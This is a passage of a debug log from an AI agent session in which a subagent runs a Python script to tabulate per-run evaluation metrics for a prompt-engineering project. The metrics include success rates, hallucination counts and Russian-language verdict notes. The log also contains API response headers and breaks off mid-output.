[INFO]       \"cache_creation\": {\n[2026-09-29T07:45:22.601Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:45:22.601Z] [INFO]         \"ephemeral_1h_input_tokens\": 1722\n[2026-09-29T07:45:22.601Z] [INFO]       },\n[2026-09-29T07:45:22.601Z] [INFO]       \"output_tokens\": 68,\n[2026-09-29T07:45:22.601Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:22.601Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:22.601Z] [INFO]     },\n[2026-09-29T07:45:22.601Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:22.601Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:22.601Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:22.601Z] [INFO]   },\n[2026-09-29T07:45:22.601Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:45:22.601Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:22.601Z] [INFO]   \"uuid\": \"04e5e837-a69b-4c1c-bf7e-9ab17dfd205d\",\n[2026-09-29T07:45:22.601Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:22.229Z\",\n[2026-09-29T07:45:22.601Z] [INFO]   \"request_id\": \"req_011CfXMkT5AaVrX5rUc9rzTS\"\n[2026-09-29T07:45:22.601Z] [INFO] }\n[2026-09-29T07:45:22.612Z] [INFO] {\n[2026-09-29T07:45:22.612Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:22.612Z] [INFO]   \"message\": {\n[2026-09-29T07:45:22.612Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:22.612Z] [INFO]     \"id\": \"msg_011CfXMkNQdc3pAf9aQSYuap\",\n[2026-09-29T07:45:22.612Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:22.612Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:22.612Z] [INFO]     \"content\": [\n[2026-09-29T07:45:22.612Z] [INFO]       {\n[2026-09-29T07:45:22.612Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:45:22.612Z] [INFO]         \"id\": \"toolu_013tKYaeRX6hUPMu1TBTFS4T\",\n[2026-09-29T07:45:22.612Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:45:22.612Z] [INFO]         \"input\": {\n[2026-09-29T07:45:22.612Z] [INFO]           \"command\": \"cd /tmp/mango_ba_prompts && python3 - <<'EOF'\\nimport json\\na=json.load(open('/tmp/runs_metrics.json'))\\ndef num(x):\\n    try: return float(str(x).split()[0].replace(',',''))\\n    except: return None\\ncols=['eval','verdict','quality','success_rate','hallucinations','hallucinations_shipped','ba_edits','tokens_input','tokens_output','tokens_thinking','tokens_dialog_total','duration_active_s','episodes','turns','sessions','calendar_days']\\nfor r,m in a.items():\\n    s=[f\\\"{c}={str(m.get(c))[:40]}\\\" for c in cols if c in m]\\n    print(r,'; '.join(s))\\nEOF\",\n[2026-09-29T07:45:22.612Z] [INFO]           \"description\": \"Tabulate key metrics per run\"\n[2026-09-29T07:45:22.612Z] [INFO]         },\n[2026-09-29T07:45:22.612Z] [INFO]         \"caller\": {\n[2026-09-29T07:45:22.612Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:45:22.612Z] [INFO]         }\n[2026-09-29T07:45:22.612Z] [INFO]       }\n[2026-09-29T07:45:22.612Z] [INFO]     ],\n[2026-09-29T07:45:22.612Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:22.612Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:22.612Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:22.612Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:22.612Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:22.612Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:22.612Z] [INFO]       \"cache_creation_input_tokens\": 1825,\n[2026-09-29T07:45:22.612Z] [INFO]       \"cache_read_input_tokens\": 50867,\n[2026-09-29T07:45:22.612Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:22.612Z] [INFO]         \"ephemeral_5m_input_tokens\": 1825,\n[2026-09-29T07:45:22.612Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:22.612Z] [INFO]       },\n[2026-09-29T07:45:22.612Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:45:22.612Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:22.612Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:22.612Z] [INFO]     },\n[2026-09-29T07:45:22.612Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:22.612Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:22.612Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:22.612Z] [INFO]   },\n[2026-09-29T07:45:22.612Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:22.612Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:22.612Z] [INFO]   \"uuid\": \"092a7403-b9d1-4ed0-a542-0ed046841ed0\",\n[2026-09-29T07:45:22.612Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:22.564Z\",\n[2026-09-29T07:45:22.612Z] [INFO]   \"request_id\": \"req_011CfXMkN1ZpkX5i3d1c1xYw\",\n[2026-09-29T07:45:22.612Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:22.612Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:22.612Z] [INFO] }\n[2026-09-29T07:45:22.629Z] [INFO] {\n[2026-09-29T07:45:22.629Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:22.629Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:45:22.629Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:45:22.629Z] [INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:22.629Z] [INFO]   \"description\": \"Running Tabulate key metrics per run\",\n[2026-09-29T07:45:22.629Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:22.629Z] [INFO]   \"usage\": {\n[2026-09-29T07:45:22.629Z] [INFO]     \"total_tokens\": 53125,\n[2026-09-29T07:45:22.629Z] [INFO]     \"tool_uses\": 14,\n[2026-09-29T07:45:22.629Z] [INFO]     \"duration_ms\": 60270\n[2026-09-29T07:45:22.629Z] [INFO]   },\n[2026-09-29T07:45:22.629Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:45:22.629Z] [INFO]   \"uuid\": \"cf119db2-26c9-4bbe-ad48-3aef26fbff14\",\n[2026-09-29T07:45:22.629Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:22.629Z] [INFO] }\n[2026-09-29T07:45:22.636Z] [STDOUT] [log_f718da, request-id: \"req_011CfXMkYBFWsFY2tPQz5TDv\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 789ms\n[2026-09-29T07:45:22.644Z] [STDOUT] [log_f718da] response start {\n[2026-09-29T07:45:22.651Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:22.655Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:22.658Z] [STDOUT]   headers: {\n[2026-09-29T07:45:22.684Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:22.691Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:22.697Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:22.707Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:22.724Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:22.786Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:22.790Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:22.793Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:22.797Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:22.800Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:22.806Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:22.812Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:22.815Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:22.820Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:22.826Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:22.831Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:22.837Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:22.839Z] [STDOUT]     \"cf-ray\": \"a4295e2f490229ad-FRA\",\n[2026-09-29T07:45:22.843Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:22.847Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:22.850Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:22.854Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:22.856Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:22 GMT\",\n[2026-09-29T07:45:22.860Z] [STDOUT]     \"request-id\": \"req_011CfXMkYBFWsFY2tPQz5TDv\",\n[2026-09-29T07:45:22.862Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:22.866Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:22.869Z] [STDOUT]     traceresponse: \"00-4e9b21bd84d4444310d5836adf1a320c-f39a15d09f83bf0b-01\",\n[2026-09-29T07:45:22.873Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:22.875Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:22.879Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:22.882Z] [STDOUT]   },\n[2026-09-29T07:45:22.884Z] [STDOUT]   durationMs: 789,\n[2026-09-29T07:45:22.887Z] [STDOUT] }\n[2026-09-29T07:45:22.889Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:22.893Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:22 GMT\",\n[2026-09-29T07:45:22.896Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:22.898Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:22.903Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:22.907Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:22.912Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:22.914Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:22.918Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:22.923Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:22.927Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:22.943Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:22.950Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:22.957Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:22.962Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:22.970Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:22.976Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:22.980Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:22.984Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:22.987Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:22.990Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:22.995Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:23.000Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:23.008Z] [STDOUT]   \"request-id\": \"req_011CfXMkYBFWsFY2tPQz5TDv\",\n[2026-09-29T07:45:23.016Z] [STDOUT]   \"traceresponse\": \"00-4e9b21bd84d4444310d5836adf1a320c-f39a15d09f83bf0b-01\",\n[2026-09-29T07:45:23.021Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:23.025Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:23.033Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:23.037Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:23.039Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:23.043Z] [STDOUT]   \"cf-ray\": \"a4295e2f490229ad-FRA\",\n[2026-09-29T07:45:23.046Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:23.051Z] [STDOUT] [log_f718da] response parsed {\n[2026-09-29T07:45:23.055Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:23.062Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:23.064Z] [STDOUT]   body: X {\n[2026-09-29T07:45:23.068Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:23.073Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:23.076Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:23.080Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:23.084Z] [STDOUT]     },\n[2026-09-29T07:45:23.087Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:23.090Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:23.094Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:23.098Z] [STDOUT]   },\n[2026-09-29T07:45:23.100Z] [STDOUT]   durationMs: 789,\n[2026-09-29T07:45:23.102Z] [STDOUT] }\n[2026-09-29T07:45:24.091Z] [INFO] {\n[2026-09-29T07:45:24.091Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:24.091Z] [INFO]   \"message\": {\n[2026-09-29T07:45:24.091Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:24.091Z] [INFO]     \"content\": [\n[2026-09-29T07:45:24.091Z] [INFO]       {\n[2026-09-29T07:45:24.091Z] [INFO]         \"tool_use_id\": \"toolu_013tKYaeRX6hUPMu1TBTFS4T\",\n[2026-09-29T07:45:24.091Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:24.091Z] [INFO]         \"content\": \"RUN-0001 \\nRUN-0002 \\nRUN-0003 \\nRUN-0004 \\nRUN-0005 \\nRUN-0006 \\nRUN-0007 \\nRUN-0008 \\nRUN-0009 \\nRUN-0010 \\nRUN-0011 \\nRUN-0012 \\nRUN-0013 \\nRUN-0014 success_rate=0.25\\nRUN-0015 eval=\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 (human gate, \u00ab\u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043f; verdict=works-with-edits; quality=3; success_rate=0.8; hallucinations=2; hallucinations_shipped=0; ba_edits=6; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; duration_active_s=None; episodes=10; turns=20\\nRUN-0016 eval=\u0414\u0438\u0430\u043b\u043e\u0433 \u0443\u0434\u0435\u0440\u0436\u0430\u043b \u0444\u043e\u0440\u043c\u0430\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u0434\u043e\u0448\u0451\u043b; verdict=works-with-edits; quality=3; success_rate=0.89; hallucinations=4; hallucinations_shipped=3; ba_edits=7; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; duration_active_s=4252; episodes=19; turns=38\\nRUN-0017 episodes=11; turns=56\\nRUN-0018 eval=\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442; verdict=works-with-edits; quality=3; success_rate=0.63; hallucinations=8; hallucinations_shipped=1; ba_edits=6; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=2481; episodes=8\\nRUN-0019 verdict=works-with-edits; quality=3; success_rate=0.29; ba_edits=10; episodes=7; sessions=5\\nRUN-0020 episodes=14; turns=78\\nRUN-0021 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0434\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u0441\u0432\u044f\u0437\u043a\u0430 \u0434\u0432\u0443\u0445 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b; verdict=works-with-edits; quality=3; success_rate=0.71; hallucinations=6; hallucinations_shipped=2; ba_edits=11; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=11554; episodes=38\\nRUN-0022 eval=\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 (\u043f\u043e\u0448\u0430\u0433\u043e\u0432\u043e\u0441\u0442\u044c, human gat; verdict=works-with-edits; quality=3; success_rate=0.92; hallucinations=2; hallucinations_shipped=1; ba_edits=6; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; duration_active_s=4636; episodes=13; turns=26\\nRUN-0023 episodes=3; turns=6\\nRUN-0024 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0434\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u00ab\u0430\u043d\u0430\u043b\u0438\u0437 \u0437\u0430\u044f\u0432; verdict=works-with-edits; success_rate=0.75; hallucinations=3; hallucinations_shipped=1; tokens_input=[REDACTED]; tokens_output=[REDACTED]; episodes=4; turns=8\\nRUN-0025 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u043f\u043e\u0448; verdict=works-with-edits; quality=3; success_rate=0.5; hallucinations=4; hallucinations_shipped=1; ba_edits=2; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=2515; episodes=10\\nRUN-0026 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0434\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u00ab\u0440\u0430\u043c\u043a\u0430 -> \u043a\u043e; verdict=works-with-edits; success_rate=0.5; hallucinations=4; hallucinations_shipped=1; tokens_input=[REDACTED]; tokens_output=[REDACTED]; duration_active_s=3254; episodes=10; turns=20\\nRUN-0027 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c \u0432\u0435\u0431-\u0438\u043d; verdict=works-with-edits; quality=3; success_rate=0.4; hallucinations=3; hallucinations_shipped=1; ba_edits=1; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=2762; episodes=5\\nRUN-0028 eval=\u041f\u0440\u043e\u043c\u043f\u0442 \u0443\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u0438 \u043d\u0430\u0445; verdict=works-with-edits; quality=2; success_rate=0.33; hallucinations=2; hallucinations_shipped=1; ba_edits=0; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=347; episodes=3\\nRUN-0029 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0434\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u0430\u044f (\u0431\u0435\u0441\u043f\u0440\u043e\u043c\u043f\u0442; verdict=works-with-edits; quality=3; success_rate=0.56; hallucinations=3; hallucinations_shipped=0; ba_edits=4; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=1738; episodes=9\\nRUN-0030 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=5700; episodes=23; turns=46; sessions=5; calendar_days=7.7\\nRUN-0031 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=28980; episodes=78; turns=156; sessions=21; calendar_days=48.1\\nRUN-0032 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=12240; episodes=31; turns=62; sessions=4; calendar_days=29.9\\nRUN-0033 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=17400; episodes=49; turns=98; sessions=5; calendar_days=18.8\\nRUN-0034 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=20520; episodes=71; turns=142; sessions=13; calendar_days=5.1\\nRUN-0035 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=0; episodes=1; turns=2; sessions=1; calendar_days=0.0\\nRUN-0036 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=6840; episodes=21; turns=42; sessions=2; calendar_days=0.2\\nRUN-0037 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=720; episodes=10; turns=20; sessions=7; calendar_days=35.1\\nRUN-0038 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=5580; episodes=15; turns=30; sessions=3; calendar_days=0.2\\nRUN-0039 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=3060; episodes=12; turns=24; sessions=3; calendar_days=5.8\\nRUN-0040 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=24720; episodes=83; turns=166; sessions=7; calendar_days=7.8\\nRUN-0041 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=27540; episodes=73; turns=146; sessions=16; calendar_days=26.2\\nRUN-0042 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=4380; episodes=24; turns=48; sessions=5; calendar_days=8.7\\nRUN-0043 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: 